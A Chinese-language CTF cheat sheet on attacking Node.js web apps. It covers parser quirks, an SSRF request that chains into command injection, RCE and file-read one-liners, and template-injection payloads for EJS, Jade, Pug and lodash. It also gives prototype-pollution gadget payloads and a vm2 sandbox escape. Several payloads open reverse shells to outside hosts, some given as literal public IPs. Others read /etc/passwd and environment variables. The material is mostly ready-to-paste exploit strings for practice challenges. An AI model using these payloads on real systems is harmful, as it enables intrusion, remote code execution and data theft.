Node js 代码特性 Function
1 Function ("console.log('123455');" )()
逗号的绕过 nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
1 2 info={ "username" : "admin" , "password" : "123456" } info={ "username" : "admin" &info="password" : "123456" }
大小写转化绕过 对于toUpperCase()函数:
1 字符"ı" 、"ſ" 经过toUpperCase处理后结果为 "I" 、"S"
对于toLowerCase:
1 字符"K" 经过toLowerCase处理后结果为"k" (这个K不是K)
replace 特性 String.prototype.replace() - JavaScript | MDN
替换一次
特定字符替换 例题:
2025西湖论剑WP - “我不是二次元!”
【Web】TGCTF 2025 题解_tgctfweb题解-CSDN博客
绕过一【利用 js 特性替换加入引号恒等闭合】:
绕过二【利用反斜杠进行联合查询】:
url.parse 特性 网鼎杯 2020 半决赛]BabyJS-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 var blacklist=['127.0.0.1.xip.io' ,'::ffff:127.0.0.1' ,'127.0.0.1' ,'0' ,'localhost' ,'0.0.0.0' ,'[::1]' ,'::1' ];router.get ('/' , function (req, res, next ) { res.json ({}); }); router.get ('/debug' , function (req, res, next ) { console .log (req.ip ); if (blacklist.indexOf (req.ip ) != -1 ) { console .log ('res' ); var u = req.query .url .replace (/[\"\']/ig ,'' ); console .log (url.parse (u).href ); let log = `echo '${url.parse(u).href} '>>/tmp/log` ; console .log (log); child_process.exec (log); res.json ({data : fs.readFileSync ('/tmp/log' ).toString ()}); } else { res.json ({}); } }); router.post ('/debug' , function (req, res, next ) { console .log (req.body ); if (req.body .url !== undefined ) { var u = req.body .url ; var urlObject = url.parse (u); if (blacklist.indexOf (urlObject.hostname ) == -1 ) { var dest = urlObject.href ; request (dest, (err, result, body ) => { res.json (body); }); } else { res.json ([]); } } });
审计一下发现,get 请求的 debug 要求必须在本地,这样的话只能通过 post 请求来 SSRF,然后这里还对 ssrf 的 url进行黑名单检测,转个十进制绕过就好了。
这里需要闭合单引号,但是引号被替换为空了这很难受。
但是 url.parse 有个特性,
意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:
%00 用作截断。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /debug HTTP/1.1 Host : ace028fb-9a40-44dd-9917-1503f096c14b.node5.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brConnection : keep-aliveCookie : session=eyJhZG1pbiI6Im5vIn0=; session.sig=I_fZJGXMMi37C_Au3MEcBj5DfToUpgrade-Insecure-Requests : 1Priority : u=0, iConnect-Type : application/jsonContent-Length : 85{"url" :"http://0177.0.0.1:3000/debug?url=http://a%252 7@a ;cp$IFS /flag$IFS /tmp/log%00 " }
HTTP解析方式 参数解析方式 1 2 3 4 5 req.body => POST /PUT 请求 req.params => 类似 /api/getUserListById/:id 路由,如 http : req.query => GET 请求,如 http :
宽松的解析 Node.js 作为一个 JavaScript 的运行环境,仅提供了一些基础的功能和 API,然而结合一些框架和第三方库能够完成很多丰富的应用。
行符分割解析:NodeJS 会自动按\n分割 Header 内容,把换行后的结果当作独立字段处理
宽松兼容机制:不严格遵循 HTTP RFC 的 “后续行需带 SP/HT” 要求,直接解析换行后的有效字段。
自动忽略 header 键名(key)前后的空格 HTTP 协议规范里,header 的 key 是 “不允许含空格” 的,但实际开发中可能有不规范请求(比如误加空格)。NodeJS 为了兼容,会做 “trim 处理”—— 自动去掉 key 开头和结尾的空格。
对 “相关键名” 的 value 进行合并 NodeJS 解析 header 时,会把 “语义相关” 的键名对应的 value 自动拼接(这里的 “相关” 本质是 NodeJS 对不规范键名的兼容处理,而非标准逻辑,但实际生效)
也就是说在请求头中可以通过:
满足 Nodejs解析 admin=true,但其他语言(PHP)不可以。
require 函数的妙用scanme - idekCTF 2025 Web 挑战赛题解 | siunam 的网站 — scanme - idekCTF 2025 Web Challenge Writeup | siunam’s Website
require 函数能解析一些 nodejs 代码格式的东西,类似于 include(只看文件内容,不看后缀名)。
parseInt妙用解决 JavaScript 中 parseInt() 的一个神秘行为 — Solving a Mystery Behavior of parseInt() in JavaScript
1 2 3 4 5 parseInt (0.0000005 ); parseInt (5e-7 ); parseInt ('5e-7' );
因为 parseInt() 总是将其第一个参数转换为字符串,所以小于 10 的浮点数 -6 以指数符号书写。然后 parseInt() 从浮点数的指数符号中提取整数。
Express解析参数上限 攻防世界——ez_curl-CSDN博客
express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。
RCE payload 纯代码执行 1 2 3 4 5 6 process.mainModule .require ('child_process' ).exec ('whoami' ); process.mainModule .require ('child_process' ).execSync ('/readflag' ).toString (); require ('child_process' ).spawnSync ( 'cat' , [ 'fl00g.txt' ] ).stdout .toString ()require ('child_process' )['ex' +'ecSync' ]('cat f*' )require ('child_process' ).execSync ('cat f*' )global .process .mainModule .constructor ._load ('child_process' ).exec ('calc' )
读文件 1 require ('fs' ).readFileSync ('fl001g.txt' )
SSTI 1 {{" " .toString .constructor ("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()" )( )}}
原型链污染 Node.js 中的原型链(Prototype Chain)是JavaScript实现继承的一种机制。每个对象都有一个内部链接,指向另一个对象,这个对象被称为其原型。
具体来说,原型链的工作原理如下:
当访问一个对象的属性或方法时,首先在该对象自身中查找。
如果找不到,就去其原型对象中查找。
如果在原型对象中也找不到,就继续向上查找,直到找到为止或者到达Object.prototype 为止。
如果在 Object.prototype 中也没有找到,则返回null。
请注意:
原型链污染函数 merge/copy/clone 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function merge (target, source ) { for (let key in source) { if (source.hasOwnProperty (key)) { if (typeof target[key] === 'object' && typeof source[key] === 'object' ) { merge (target[key], source[key]); } else { target[key] = source[key]; } } } } function clone (obj ) { return merge ({}, obj); } function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
我们想象,当 key 为 __proto__ 而 source[key] 又为你想要的原型链结果时,可以造成污染。
注意:我们在处理时对格式有着 JSON 的限制,那是因为字符串有可能直接覆盖掉原本原型的指向,反而指向一个其他的奇奇怪怪的东西而不指向 Object,造成原型链污染失败。
trick:用 {"constructor": {"prototype": } 一样可以污染原型链,相当于获取到了一个构造 object 的构造函数 function。
也就是说:
1 objectname["__proto__" ]=objectname.__proto__ =objectname.constructor .prototype = objectname["__pro" +"to__" ] = objectname["__pro" .concat ("to__" )]
浅析 __proto__ 与 prototype nodejs 是面向对象编程的极佳体现,其中各种数据类型(包括函数)都可以看作是一种对象,而对象的顶端一般都是 object 也就是顶端的对象,下文结合一些例子看一下 __proto__ 和 prototype 的区别。
__proto__ 更注重是 类指向上一级类,比如:
1 2 3 4 test = function ( ){return 0 ;} newtest = new test (); qwq = {}; a=8 ;
而 prototype 是只有函数具有的一种属性 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 test = function ( ){return 0 ;} test.prototype .qwq = function ( ){console .log ("123456" );} test.qwq = function ( ){console .log ("123456" );} a.qwq (); console .log (test.prototype .constructor ==test);
那么我们其实经常污染的就是 object.prototype 。
一道巧妙的原型链污染例题 nodejs 原型链污染新视角-先知社区
题目源码有点长,如下截取几个关键的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 app.post ('/register' , (req, res ) => { const { username, password } = req.body ; if (users[username]) { req.session .errorMessage = 'User already exists!' ; return res.redirect ('/register' ); } password : password, isAdmin : false , themeConfig : { theme : { primaryColor : '#6200EE' , secondaryColor : '#03DAC6' , fontSize : '16px' , fontFamily : 'Roboto, sans-serif' } } }; app.post ('/login' , (req, res ) => { const { username, password } = req.body ; const user = users[username]; if (user && user.password === password) { req.session .userId = username; res.redirect ('/' ); } else { req.session .errorMessage = 'Invalid username or password' ; res.redirect ('/login' ); } }); const parseQueryParams = (queryString ) => { if (typeof queryString !== 'string' ) { return {}; } const cleanString = queryString.startsWith ('?' ) ? queryString.substring (1 ) : queryString; const params = new URLSearchParams (cleanString); const result = {}; for (const [key, value] of params.entries ()) { const path = key.split ('.' ); let current = result; for (let i = 0 ; i < path.length ; i++) { let part = path[i]; if (['__proto__' , 'prototype' , 'constructor' ].includes (part)){ part = '__unsafe$' + part; } if (i === path.length - 1 ) { current[part] = value; } else { if (!current[part] || typeof current[part] !== 'object' ) { current[part] = {}; } current = current[part]; } } } return result; }; app.get ('/theme' , isAuthenticated, (req, res ) => { const user = users[req.session .userId ]; if (!user) { return res.redirect ('/login' ); } const queryString = req.url .split ('?' )[1 ] || '' ; const parsedUpdates = parseQueryParams (queryString); if (Object .keys (parsedUpdates).length > 0 ) { user.themeConfig = deepMerge (user.themeConfig , parsedUpdates); } res.redirect ('/' ); }); app.get ('/flag' , isAuthenticated, (req, res, next )=> { if (users[req.session .userId ].isAdmin == true ){ return res.end (FLAG ); } return res.end ("Not admin :(" ); }); app.listen (PORT , () => { console .log (`Server is running at http://localhost:${PORT} ` ); console .log ('Please register or login at http://localhost:3000/register or http://localhost:3000/login' ); });
首先审计一下嘛,你想要获得 flag,最后肯定要 user[isadmin]=1 ,这很容易让我们想到原型链污染,但是定睛一看,一个用户再注册的时候他当前类的 isadmin 已经是 0 了,也就是说正常的污染,没用,因为他根本不会向上找。
这个时候就再看看登陆的逻辑,可以发现要求 user=users[username] 存在并且,user.password=input.password,那我们可不可以直接让 user 等于一些底层的类似于构造方法的东西,user 没有就往 object 找,就找到了。然后 user.password = input.password = undefined,就过了登陆了。
比如 username=isPrototypeOf,这样 user 存在并且 user.password=input.password=undefined。
那么对于获得 flag,users["isPrototypeOf"].isAdmin,显然 users 没有 isPrototypeOf 这个属性,就会找 object["isPrototypeOf"].isAdmin,那污染的时候同理,我们污染 user["isPrototypeOf"] 的时候 user 也不存在这个属性,我们同样污染到了 object。
常见模板 Tricks EJS SSTI Node.js EJS模板注入SSTI – Acc1oFl4g’s Blog
EJS 主要提供两种“标签”来嵌入 JavaScript 代码:
<% ... %> : 执行 JavaScript 代码(通常用于流程控制,如 if、for 循环)。
<%= ... %> : 执行 JavaScript 代码并将其结果 转义后 输出到 HTML 中。
<%- ... %> : 执行 JavaScript 代码并将其结果 不转义 地输出到 HTML 中。这是最危险的一个。
payload:
1 2 3 4 5 <% const fs = require (‘fs’); const data = fs.readFileSync (‘/etc/passwd', ' utf8'); %><%= data %> <%- global.process.mainModule.require(' child_process').execSync(' id') %> <%- global.process.mainModule.require(' child_process').spawnSync(' env').stdout.toStr ing() %>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd" > <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for <%= path %></title> </head> <body> <h1>Directory listing for <%= path %></h1> <hr> <ul> <li><a href="../">../</a></li> <% const process = global.process || (() => { throw new Error('No process') })(); %> <% const result = process.mainModule.require('child_process') .execSync('/readflag') .toString(); %> <%= result %> <% filenames.forEach(filename => { %> <li> <a href="<%= encodeURIComponent(filename) %>"> <%= filename %> </a> </li> <% }); %> </ul> <hr> </body> </html>
从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台
原型链污染 使用方法:[nodejs——ejs模版遇到原型链污染产生rce-CSDN博客](https://blog.csdn.net/m0_73756016/article/details/139814265?ops_request_misc=%7B%22request%5Fid%22%3A%22b2d3f36a0c7d2c99173690797023219c%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=b2d3f36a0c7d2c99173690797023219c&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-139814265-null-null.142^v102^pc_search_result_base8&utm_term=nodejs ejs rce)
详细原理:从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台
EJS 是一个 javascript 模板库,用来从 json 数据中生成HTML字符串,读取再渲染。
而 ejs 在渲染的时候有大量代码拼接,然后我们通过原型链污染达到变量覆盖,就可以构造注入,先闭合上面的语句,再构造rce的语句,最后闭合好后买你。
常见 Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 1. outputFuncitonName字段:{"__proto__" :{"__proto__" :{"outputFunctionName" :"a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //" }}} {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2" }} {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2" }} {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2" }} 2. escapeFunction字段:{ "__proto__" : { "client" : 1 , "escapeFunction" : "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')" } } {"__proto__" :{"__proto__" :{"client" :true ,"escapeFunction" :"1; return global.process.mainModule.constructor._load('child_process').execSync('id');" ,"compileDebug" :true }}} {"__proto__" :{"__proto__" :{"client" :true ,"escapeFunction" :"1; return global.process.mainModule.constructor._load('child_process').execSync('id');" ,"compileDebug" :true ,"debug" :true }}} 3. destructuredLocals字段:{"__proto__" :{"destructuredLocals" :["a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2" ]}} 4. localsName字段:{"__proto__" :{"localsName" :"x=global.process.mainModule.require('child_process').execSync('calc')" }} 5. escape 字段:{"__proto__" :{"client" :1 ,"escape" :"escapeFn;global.process.mainModule.require('child_process').execSync('calc')" }} CVE -2022 -29078 (ejs <= v3.1 .9 )参考:https : 例题:Geek _Challenge_2023 - 雨 POC :{"settings" :{"view options" :{"escapeFunction" :"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"touch /tmp/pwned\");" ,"client" :"true" }}}
Jade
1 2 3 4 5 6 7 8 9 10 11 12 13 {"__proto__" :{"compileDebug" :1 ,"self" :1 ,"line" :"console.log(global.process.mainModule.require('child_process').execSync('calc'))" }} 直接在函数内部执行。 {"__proto__" :{"__proto__" : {"type" :"Code" ,"compileDebug" :true ,"self" :true ,"line" :"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/123.57.107.33/1337 0>&1\"');//" }}} 0 , "" ));return global .process .mainModule .constructor ._load ('child_process' ).exec ('bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"' );先闭合,然后再执行,后面注释掉。 {"__proto__" :{"__proto__" : {"type" :"Code" ,"compileDebug" :true ,"self" :true ,"line" :"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//" }}}
lodash.template payload:
1 2 {"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}} {"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
PugJs SSTI 1 #{global .process .mainModule .require ('child_process' ).execSync ('cat+f*' )}
vm沙箱逃逸 NodeJS VM和VM2沙箱逃逸-先知社区
hznuCTF eznode Description 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const app = express ();const { VM } = require ('vm2' );app.use (express.json ()); const backdoor = function ( ) { try { new VM ().run ({}.shellcode ); } catch (e) { console .log (e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } app.get ('/' , function (req, res ) { res.send ("POST some json shit to /. no source code and try to find source code" ); }); app.post ('/' , function (req, res ) { try { console .log (req.body ) var body = JSON .parse (JSON .stringify (req.body )); var copybody = clone (body) if (copybody.shit ) { backdoor () } res.send ("post shit ok" ) }catch (e){ res.send ("is it shit ?" ) console .log (e) } }) app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
Solution 明显看到 clone 是原型链污染,如果 shit 为真,沙箱执行了 shellcode 这个操作,不难让我们想到沙箱逃逸。
1 {"shit" :1 ,"__proto__" :{"shellcode" :"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/6666 0>&1\"').toString();" }}
这里首先我们导入模块获得一个对象,然后我们获取他 toString 的方法,这个方法的构造函数肯定是 Function 这里我们可以直接构造 return this 并执行获得 global(全局对象,在沙箱中不逃逸是不存在的)
CTFSHOW例题 web335 payload:?eval=require('child_process').execSync('cat f*')
web336 payload:?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
?eval=require('child_process')['ex'+'ecSync']('cat f*')
web337 payload:?a[1]=1&b[1]=1
web338 payload:
1 {"__proto__" :{"ctfshow" :"36dboy" }}
web339-web343 jade,ejs 到 rce。
web344 payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
node js 绕过逗号过滤。